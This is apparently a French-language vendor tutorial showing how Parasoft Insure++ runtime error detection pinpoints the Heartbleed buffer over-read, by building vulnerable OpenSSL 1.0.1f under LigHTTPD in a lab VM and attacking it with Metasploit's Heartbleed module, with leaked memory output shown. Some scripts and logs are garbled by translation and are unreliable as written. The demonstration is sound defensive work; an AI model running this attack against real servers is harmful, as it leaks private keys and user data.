Simplifiez les flux de travail de conformité avec le nouveau test C/C++ 2024.2 et l'automatisation pilotée par l'IA | Inscrivez-vous
Aller à la section
Comment trouver des vulnérabilités dans le code à l'aide de la détection des erreurs d'exécution
Les failles de sécurité dans les logiciels peuvent être rapidement détectées, même lorsqu'elles sont inconnues, grâce à la détection des erreurs d'exécution. Découvrez cette technique pour identifier les failles de sécurité en lisant cette page.
Aller à la section
Aller à la section
Au lieu de vous fier à un scanner de sécurité pour détecter les vulnérabilités connues dans votre code, vous pouvez utiliser la détection des erreurs d'exécution pour rechercher les vulnérabilités de sécurité. Cette technique ne nécessite pas que les vulnérabilités soient déjà connues pour les détecter.
Pourquoi l'identification des vulnérabilités de sécurité est cruciale
La vulnérabilité Heartbleed a été découverte en 2014 dans OpenSSL et a suscité beaucoup d'intérêt et d'inquiétude en raison de l'adoption généralisée d'OpenSSL dans les applications open source et commerciales. Suite à cette découverte, des scanners de vulnérabilités spécifiques ont été mis à jour pour détecter Heartbleed, mais nous examinons aujourd'hui une technique différente que vous pouvez utiliser pour détecter les vulnérabilités de sécurité à l'aide de la détection des erreurs d'exécution.
Lorsque la nouvelle concernant la vulnérabilité OpenSSL Heartbleed a été publiée, le secteur a paniqué pour savoir comment corriger ou atténuer le problème. OpenSSL est une bibliothèque de chiffrement utilisée dans la communication HTTPS. HTTPS est censé être la version sécurisée de HTTP, donc une grande variété d'informations privées passant par les fils de la première ligne de protection Internet est OpenSSL. En tant que telle, la vulnérabilité Heartbleed expose les cartes de crédit, les numéros de sécurité sociale, les mots de passe et d'autres informations personnelles à un risque critique.
La vulnérabilité était causée par la fonctionnalité « heartbeat » rarement utilisée mais fréquemment activée d'OpenSSL. En envoyant à un serveur exécutant OpenSSL une requête de battement de cœur mal formée, une lecture excessive de la mémoire se produit, ce qui entraîne une fuite d'informations critiques dans le paquet de réponse. Lorsqu'il est correctement armé, cela permet une exfiltration presque indétectable d'OpenSSL privé, ce qui compromet toutes les communications sécurisées du serveur.
Lorsque les organisations ont réalisé que ce problème était réel, elles ont voulu vérifier si le problème existait dans leur propre code source. Au niveau le plus simple, vous pouvez corriger ou mettre à jour une ancienne version d'OpenSSL. Mais vous souhaiterez peut-être également tester pour vous assurer que le problème sous-jacent lui-même n’existe pas. Voyons comment la détection des erreurs d'exécution peut être utilisée avec les outils de pénétration traditionnels pour détecter avec précision les vulnérabilités.
Application de la détection des erreurs d'exécution pour la sécurité
Parasoft Insure ++ est un outil de débogage de mémoire qui utilise des techniques d'instrumentation brevetées pour identifier rapidement les fuites et autres problèmes de mémoire. La détection de la mémoire sur les lectures est incroyablement difficile (voire impossible) avec les débogueurs traditionnels, mais extrêmement facile avec Parasoft
Assurez ++.
La vulnérabilité Heartbleed a été découverte à l'origine par les ingénieurs en sécurité de Codenomicon et de Google Security. Il a fallu beaucoup d'efforts non seulement pour trouver la vulnérabilité, mais aussi pour prouver que la vulnérabilité importait et atténuer complètement le problème. Ici, je vais vous montrer comment un bon outil de découverte de vulnérabilité tel qu'un fuzzer combiné à Insure ++ aurait considérablement facilité le processus de détermination de l'impact de la vulnérabilité et de sa correction.
Étant donné que le cœur de Heartbleed est un problème de sur-lecture de la mémoire, nous utiliserons Parasoft Insure ++ pour démontrer sur une vulnérabilité réelle à quel point il est plus facile de diagnostiquer et de corriger les bogues critiques avec les bons outils!
Premiers pas avec la détection des erreurs d'exécution : configuration de la machine virtuelle de la victime
C'est sur la machine virtuelle de la victime que nous allons configurer LigHTTPD pour utiliser une version d'OpenSSL vulnérable à l'attaque Heartbleed. J'ai choisi CentOS 7 comme système d'exploitation pour la machine virtuelle victime. Assurez-vous de sélectionner les outils de développement lors de l'installation pour inclure le compilateur GCC et les autres fichiers d'en-tête requis.
Lors de la configuration du réseau de la machine virtuelle, gardez à l'esprit d'où vous allez lancer l'attaque. J'ai choisi d'attaquer à partir de la machine hôte, j'ai donc inclus un adaptateur réseau hôte uniquement. Installer Metasploit sur la machine qui va effectuer l'attaque.
Enfin, installez Parasoft Insure ++ sur la machine virtuelle victime!
Mise en page du projet
Le projet sera présenté comme suit:
~/heartbleed
:: Le répertoire principal dans lequel nous allons travailler.
~/heartbleed/env
:: Le répertoire que nous ciblerons comme préfixe d'installation.
~/heartbleed/src
:: Le répertoire où nous allons télécharger le code source et faire la compilation.
~/heartbleed/srv
:: Le répertoire contenant notre site Web LigHTTPD.
Construire OpenSSL avec Insure++ et installer
L'étape vers la démonstration de la vulnérabilité Heartbleed consiste à créer OpenSSL avec l'instrumentation Insure++. Pour exploiter la vulnérabilité Heartbleed, nous devrons créer une version d'OpenSSL publiée avant la correction du bug. La dernière version d'OpenSSL contenant la vulnérabilité Heartbleed était la version 1.0.1, nous l'utiliserons donc.
$ cd /home/USER/heartbleed/src
$ wget https://www.openssl.org/source/old/1.0.1/openssl-1.0.1f.tar.gz
$ tar xf openssl-1.0.1f.tar.gz
$ cd openssl-1.0.1f
La prochaine chose que nous devons faire est de configurer notre source. Pour accélérer ce processus, nous allons créer le script suivant dans le répertoire source OpenSSL. Le script suppose que insure et gcc sont inclus dans le PATH du shell actuel. Nommez le script quelque chose comme configure_openssl.sh
#!/usr/bin/env bash
CC="$(command -v insure) $(command -v gcc)" \
CXX="$(command -v insure) $(command -v g++)" \
./config -d shared --prefix=/home/USER/heartbleed/env
La -d
flag configure OpenSSL pour inclure les symboles de débogage requis par Insure ++. La directive shared configure OpenSSL pour générer des bibliothèques partagées.
--prefix=/home/USER/heartbleed/env
flag configure OpenSSL pour l'installation dans ce répertoire.
Maintenant courez ~/configure_openssl.sh
dans le répertoire source OpenSSL pour configurer la source.
$ pwd
/home/USER/heartbleed/src/openssl-1.0.1f
$ chmod +x configure_openssl.sh
$ ./configure_openssl.sh
L'étape suivante consiste à compiler en utilisant make. Make accepte un indicateur -j pour spécifier le nombre de travaux de compilation à exécuter en parallèle. Insure ++ prend entièrement en charge cette compilation parallèle qui nous permet d'accélérer la compilation en spécifiant le nombre de cœurs disponibles pour la machine virtuelle victime.
$ make -j4
Lors de l'exécution de make avec l'instrumentation Insure ++, une fenêtre Insra apparaîtra indiquant quels fichiers sont instrumentés lors de la compilation.
Normalement, nous lancerions make install après la construction, mais il y a un problème avec la création de fichier man en raison de l'ancienne version de pod2man incluse avec CentOS 7 ne prenant pas en charge le format utilisé par OpenSSL. Pour éviter cela, nous installons uniquement le logiciel au lieu de patcher de nombreux fichiers POD à la main.
$ make install_sw
Construire et installer LigHTTPD
La prochaine étape consiste à construire LigHTTPD avec notre version instrumentée Insure ++ d'OpenSSL. Puisque nous sommes intéressés par la vulnérabilité Heartbleed dans OpenSSL et non par un comportement de LigHTTPD, nous allons construire sans instrumentation Insure ++. Bien que nous n'utilisions pas Insure ++ pour compiler LigHTTPD, nous devrons toujours utiliser Insure ++ pour la liaison puisque nous lions avec la version instrumentée d'Insure ++ d'OpenSSL.
Nous allons obtenir le code source d'une version récente de LigHTTPD à construire.
$ cd /home/USER/heartbleed/src
$ wget https://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-1.4.49.tar.xz
$ tar xf lighttpd-1.4.49.tar.xz
$ cd lighttpd-1.4.49
Nous devons maintenant configurer la source LigHTTPD pour qu'elle se lie correctement à la fois à l'instrumentation Insure ++ et à notre version d'OpenSSL. Nous allons créer le script suivant dans le répertoire source de LigHTTPD pour accomplir cela. Nommez le script de configuration quelque chose comme configure_lighttpd.sh
.
#! / usr / bin / env bash OPENSSL_PATH = '/ home / USER / heartbleed / env' INSURE_PATH = '/ home / USER / insure' MY_LIBS = '- linsure -linsure_mt -ldl' MY_LIB_PATHS = "- L $ {OPENSSL_PATH} / lib -L $ {INSURE_PATH} / lib "MY_LD_LIB_PATHS =" $ {OPENSSL_PATH} / lib: $ {INSURE_PATH} / lib "MY_FLAGS =" $ MY_LIB_PATHS $ MY_LIBS "CC =" $ (commande -v gcc) "\ CXX = "$ (commande -v g ++)" \ CFLAGS = "$ MY_FLAGS" \ CPPFLAGS = "$ MY_FLAGS" \ LDFLAGS = "$ MY_LIB_PATHS" \ LD_LIBRARY_PATH = "$ MY_LD_LIB_PATHS" \ --prefix = / home / USER / heartbleed \ --with-openssl \ --with-openssl-includes = / home / USER / heartbleed / env / include \ --with-openssl-libs = / home / USER / heartbleed / env / lib
Avant d'exécuter ce script de configuration, assurez-vous d'installer les en-têtes bzip2 requis pour LigHTTPD.
sudo yum install bzip2-devel
Exécutez le script à partir du répertoire LigHTTPD.
$ pwd
/home/USER/heartbleed/src/lighttpd-1.4.49
$ chmod +x configure_lighttpd.sh
$ ./configure_lighttpd.sh
Maintenant que la source est configurée, nous devons effectuer une étape supplémentaire inhabituelle. Puisque LigHTTPD utilise libtool pour la liaison de bibliothèques, nous devons le configurer pour utiliser Insure ++ pour la dernière étape de liaison.
Modifiez le fichier /home/USER/heartbleed/srv/lighttpd-1.4.49/src/Makefile en remplaçant la ligne suivante…
CCLD = $(CC)
En vous assurant que les chemins correspondent à votre configuration…
CCLD = '/home/USER/insure/bin/insure /usr/bin/gcc'
Maintenant que la source est configurée, nous pouvons procéder à la construction du code source
et installer.
$ make -j4
$ make install
Configurer LigHTTPD
Maintenant que nous avons LigHTTPD construit avec un OpenSSL instrumenté par Insure ++, nous devons créer une configuration simple pour que LigHTTPD fonctionne. Tout d'abord, nous créons un simple "Hello world!" Page HTML dans /home/USER/heartbleed/srv/index.html
~ comme suit…
<html>
<head>
<title>Heartbleed Demo</title>
</head>
<body>
<h1>Hello world!</h1>
</body>
</html>
La configuration suivante lors de la configuration consiste à générer un fichier PEM SSL pour que LigHTTPD
utiliser pour HTTPS.
$ cd /home/USER/heartbleed/
$ openssl req -x509 -nodes -days 7300 -newkey rsa:2048 -sha256 -keyout server.pem -out server.pem
Assurez-vous de remplir l'adresse e-mail, l'emplacement physique et les champs d'organisation comme indiqué ci-dessus, car nous les rechercherons plus tard dans la mémoire perdue!
Enfin, nous créons un fichier de configuration simple à /home/USER/heartbleed/lighttpd.conf
comme suit. Assurez-vous de corriger l'utilisateur, les groupes et les chemins en fonction de votre configuration. Notez que nous utilisons les ports non standard 8080 pour HTTP et 4443 pour HTTPS pour éviter d'avoir à exécuter LigHTTPD en tant que root.
server.modules = ("mod_openssl", "mod_access", "mod_accesslog",) server.port = 8080 server.username = "USER" server.groupname = "GROUP" server.document-root = "/ home / USER / heartbleed / srv "server.errorlog =" /home/USER/heartbleed/lighttpd_error.log "accesslog.filename =" /home/USER/heartbleed/lighttpd_access.log "dir-listing.activate =" activer "index-file.names = ("index.html") mimetype.assign = (".html" => "text / html", ".txt" => "text / plain", ".css" => "text / css", ". js "=>" application / x-javascript "," .jpg "=>" image / jpeg "," .jpeg "=>" image / jpeg "," .gif "=>" image / gif ",". png "=>" image / png "," "=>" application / octet-stream ",) $ SERVER [" socket "] ==": 4443 "{ssl.engine =" enable "ssl.pemfile =" / home / USER / heartbleed / server.pem "}
serveur.modules = ( | |
"Mod_openssl", | |
"Mod_access", | |
"Mod_accesslog", | |
) | |
port.serveur = 8080 | |
server.username = "USER" | |
server.groupname = "GROUPE" | |
server.document-root = "/ home / USER / heartbleed / srv" | |
server.errorlog = "/home/USER/heartbleed/lighttpd_error.log" | |
accesslog.filename = "/home/USER/heartbleed/lighttpd_access.log" | |
dir-listing.activate = "activer" | |
index-file.names = ("index.html") | |
type mime.assign = ( | |
".Html" => "texte / html" | |
".Txt" => "text / plain" | |
".Css" => "texte / css" | |
".Js" => "application / x-javascript" | |
".Jpg" => "image / jpeg" | |
".Jpeg" => "image / jpeg" | |
".Gif" => "image / gif" | |
".Png" => "image / png" | |
"" => "Application / octet-stream" | |
) | |
$ SERVER ["socket"] == ": 4443" { | |
ssl.engine = "activer" | |
ssl.pemfile = "/home/USER/heartbleed/server.pem" | |
} |
Exécution de LigHTTPD
Créez le script suivant dans /home/USER/heartbleed/run_lighttpd.sh
. Nous devons spécifier le LD_LIBRARY_PATH
puisque nous utilisons des chemins non standard pour les bibliothèques. Assurez-vous de corriger le chemin pour qu'il corresponde au dossier de base de vos utilisateurs.
#!/ usr / bin / env bash | |
LD_LIBRARY_PATH = '/ home / USER / heartbleed / env / lib: / home / USER / insure / lib' \ | |
/ home / USER / heartbleed / env / sbin / lighttpd \ | |
-RÉ \ | |
-f /home/USER/hearbleed/lighthttpd.conf |
#! / usr / bin / env bash LD_LIBRARY_PATH = '/ home / USER / heartbleed / env / lib: / home / USER / insure / lib' \ / home / USER / heartbleed / env / sbin / lighttpd \ -D \ - f /home/USER/heartbleed/lighttpd.conf
Exécutez le script pour lancer LigHTTPD!
$ pwd
/home/USER/heartbleed
$ chmod +x run_lighttpd.sh
$ ./run_lighttpd.sh
Exécution de Metasploit
Maintenant que LigHTTPD est opérationnel avec notre OpenSSL instrumenté Insure ++, il est maintenant temps de lancer notre attaque! Nous utiliserons Metasploit pour lancer notre attaque. Metasploit est un outil pour de nombreuses tâches de sécurité de l'information, y compris l'exploitation et le contournement de la sécurité des logiciels. Il comprend un scanner pour Heartbleed qui exploite partiellement la vulnérabilité pour démontrer
susceptibilité.
La première chose à faire est d'installer Metasploit sur votre système attaquant. J'ai choisi de lancer mes attaques depuis l'hôte de la machine virtuelle et j'ai donc installé Metasploit là-bas. Je ne parlerai pas de l'installation de Metasploit car elle sort du cadre de cette démo. Une fois Metasploit installé, lancez
la console Metasploit.
$ msfconsole
Cela affichera une invite pour le framework Metasploit. À partir de cette invite, recherchons dans Metasploit les outils Heartbleed qu'il fournit.
msf > search heartbleed
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/scanner/ssl/openssl_heartbleed 2014-04-07 normal OpenSSL Heartbeat (Heartbleed) Information Leak
auxiliary/server/openssl_heartbeat_client_memory 2014-04-07 normal OpenSSL Heartbeat (Heartbleed) Client Memory Exposure
Nous utiliserons le scanner Heartbleed de Metasploit mentionné précédemment.
msf > use auxiliary/scanner/ssl/openssl_heartbleed
De là, nous voulons définir les options du scanner openssl_heartbleed. Nous allons d'abord activer la sortie détaillée pour voir la sortie détaillée pendant l'exploitation. Ensuite, nous définissons l'adresse IP et le port de l'hôte distant sur la cible d'attaque. Assurez-vous de modifier l'adresse IP et le port de l'hôte pour qu'ils correspondent à votre configuration.
msf auxiliary(scanner/ssl/openssl_heartbleed) > set verbose true
verbose => true
msf auxiliary(scanner/ssl/openssl_heartbleed) > set rhosts 192.168.56.102
rhosts => 192.168.56.102
msf auxiliary(scanner/ssl/openssl_heartbleed) > set RPORT 4443
RPORT => 4443
Si nous exécutons set sans aucun argument, nous pouvons voir quels arguments ont été définis pour l'outil actuel. Il est important de vérifier ces options avant de lancer une analyse ou un exploit dans Metasploit car le ciblage du mauvais système pourrait perturber ou endommager des cibles involontaires.
msf auxiliary(scanner/ssl/openssl_heartbleed) > set
Global
======
No entries in data store.
Module: scanner/ssl/openssl_heartbleed
======================================
Name Value
---- -----
CHOST
CPORT
ConnectTimeout 10
DUMPFILTER
HEARTBEAT_LENGTH 65535
MAX_KEYTRIES 50
Proxies
RESPONSE_TIMEOUT 10
RHOSTS 192.168.56.102
RPORT 4443
SSL false
SSLCipher
SSLVerifyMode PEER
SSLVersion Auto
STATUS_EVERY 5
ShowProgress true
ShowProgressPercent 10
TCP::max_send_size 0
TCP::send_delay 0
THREADS 1
TLS_CALLBACK None
TLS_VERSION 1.0
VERBOSE true
WORKSPACE
XMPPDOMAIN localhost
Maintenant que nous avons configuré toutes les options et confirmé que nous n'attaquons pas quelque chose que nous n'avions pas l'intention de faire, nous pouvons lancer notre attaque!
msf auxiliaire (scanner / ssl / openssl_heartbleed)> exploit [*] 192.168.56.102:4443 - Client d'envoi Bonjour ... [*] 192.168.56.102:4443 - Enregistrement SSL # 1: [*] 192.168.56.102:4443 - Type : 22 [*] 192.168.56.102:4443 - Version: 0x0301 [*] 192.168.56.102:4443 - Longueur: 86 [*] 192.168.56.102:4443 - Poignée de main # 1: [*] 192.168.56.102:4443 - Longueur: 82 [*] 192.168.56.102:4443 - Type: Server Hello (2) [*] 192.168.56.102:4443 - Server Hello Version: 0x0301 [*] 192.168.56.102:4443 - Server Hello Données aléatoires: f6150b7136c5047cc899660bdd8c7c93cc52b4425cf50756367f6f3 .78: 4 - Longueur de l'ID de session Server Hello: 192.168.56.102 [*] 4443:32 - ID de session Server Hello: 192.168.56.102fc4443c6e69adc504f53f8611f353a010ce427edf01f9530fa77e84f71db [*] 5238660:7 - Enregistrement SSL # 192.168.56.102:4443 * Type: 2 [*] 192.168.56.102:4443 - Version: 22x192.168.56.102 [*] 4443:0 - Longueur: 0301 [*] 192.168.56.102:4443 - Poignée de main # 1033: [*] 192.168.56.102:4443 - Longueur : 1 [*] 192.168.56.102 4443: 1029 - Type: Données de certificat (192.168.56.102) [*] 4443:11 - Longueur des certificats: 192.168.56.102 [*] 4443:1026 - Longueur des données: 192.168.56.102 [*] 4443:1029 - Numéro de certificat 192.168.56.102: [*] 4443:1 - Certificat # 192.168.56.102: Longueur: 4443 [*] 1:1023 - Certificat # 192.168.56.102: # , émetteur = # , série = # , not_before = 4443-1-509 509:0:000055 UTC, not_after = 722236070-509-0 000055:7222360:0 UTC> [*] 0:000055 - Enregistrement SSL n ° 722236110: [*] 2018: 09 - Type: 24 [*] 23:24 - Version: 45x2038 [*] 09:19 - Longueur: 23 [*] 24:45 - Poignée de main # 192.168.56.102: [*] 4443:3 - Durée: 192.168.56.102 [*] 4443:22 - Type: Échange de clé de serveur (192.168.56.102) [*] 4443:0 - Enregistrement SSL n ° 0301: [*] 192.168.56.102:4443 - Type: 331 [*] 192.168.56.102:4443 - Version: 1x192.168.56.102 [*] 4443:327 - Durée: 192.168.56.102 [*] 4443:12 - Poignée de main # 192.168.56.102: [*] 4443:4 - Longueur: 192.168.56.102 [*] 4443 .22: 192.168.56.102 - Type: Server Hello Done (4443) [*] 0:0301 - Envoi de Heartbeat ... [*] 192.168.56.102:4443 - Heartbeat response, 4 octets [+] 192.168.56.102:4443 - Réponse de pulsation avec fuite [*] 1:192.168.56.102 - Informations imprimables divulguées: [*] Analyse de 4443 hôte sur 0 (192.168.56.102% terminé) [*] Exécution du module auxiliaire terminée
La ligne après «Information imprimable fuite:» a été supprimée car elle est extrêmement longue. Certains octets pertinents sont présentés ci-dessous:
: .x.. o..PNS..a.5?..Bz...0.....q.#.`................................0...0... : ............1(..0...*.H........0..1.0...U....US1.0...U....California1.0...U : ....Monrovia1.0...U....Parasoft1.0...U....C++Test1.0...U....rojogorra1#0!.. : *.H........noreply.com0...180924232445Z..380919232445Z0..1.0...U....US1.0.. : .U....California1.0...U....Monrovia1.0...U....Parasoft1.0...U....C++Test1.0 : ...U....rojogorra1#0!..*.H........noreply.com0.."0...*.H.............0..... : ....${(.........o..qC.9M...>..:.q.lN.#...F.._M^....1<..Rb...G.h/l.../S..2.3
Comme vous pouvez le voir, l'exploit a réussi à faire fuir la mémoire d'OpenSSL contenant notre clé PEM! Si vous recherchez dans la mémoire qui a fui, vous trouverez l'adresse e-mail, l'emplacement physique et les informations d'organisation que vous avez renseignées lors de la création du fichier PEM utilisé par LigHTTPD.
Examen des résultats Insure++ Insra et TCA
Depuis notre machine virtuelle victime, nous voyons la sortie Insure ++ dans Insra lorsque nous lançons LigHTTPD. Lors de l'exécution initiale, un USER_ERROR se produit que nous ignorerons car il n'a rien à voir avec Heartbleed.
Après avoir exécuté l'exploit Heartbleed dans Metasploit, nous pouvons voir la ligne de code exacte où se produit la sur-lecture de la mémoire tampon qui provoque une fuite de la mémoire interne!
Un double clic sur la ligne READ_OVERFLOW ouvre une autre fenêtre contenant des détails supplémentaires, y compris une trace de l'endroit où le bloc de mémoire a été alloué et une trace de la pile de l'endroit où le dépassement de capacité de lecture s'est produit.
Les exécutables instrumentés avec Insure ++ génèrent un tca.log
fichier lors de l'exécution. TCA signifie «analyse de la couverture totale». Nous pouvons ouvrir ce fichier journal avec l'outil TCA inclus avec Insure ++ pour voir des informations détaillées sur notre couverture de code.
$ TCA tca.log
Dans la capture d'écran suivante, vous pouvez voir TCA afficher les résultats de notre tca.log obtenu après l'exécution de l'exploit Metasploit Heartbleed. J'ai trié le rapport par fichier et mis en évidence t1_lib.c où la vulnérabilité existe. Comme vous pouvez le constater, nous n'avons couvert que 13 % du code du fichier.
Double-cliquez sur le t1_lib.c
La ligne entraînera l’ouverture d’une autre fenêtre. Dans cette fenêtre, nous pouvons voir la couverture en t1_lib.c
triés par fonction. J'ai mis en évidence la fonction où se produit la vulnérabilité Heartbleed. Comme vous pouvez le voir, nous n'avons couvert qu'environ 45% du code dans la fonction.
De plus, un double-clic sur le nom de la fonction affiche le code source avec le code couvert en noir et le code non couvert en rouge.
Conclusion
Comme vous pouvez le voir, Parasoft Insure ++ a rendu la détection de Heartbleed triviale. Non seulement Insure ++ a détecté la mémoire lors de la lecture, mais il a également généré:
- Une trace de pile de l'endroit où la mémoire sur lecture s'est produite.
- Une trace de pile de l'endroit où la mémoire elle-même a été allouée.
- Un journal détaillé des chemins de code couverts.
Ces fonctionnalités font d'Insure ++ quelque chose qui s'intégrerait bien dans la ceinture à outils de tout chercheur en sécurité de l'information. Ainsi, même si vous êtes probablement familiarisé avec l'utilisation de divers outils SAST et outils de pénétration pour trouver des vulnérabilités de sécurité, vous devriez penser à ajouter la détection des erreurs d'exécution à votre boîte à outils de test de sécurité.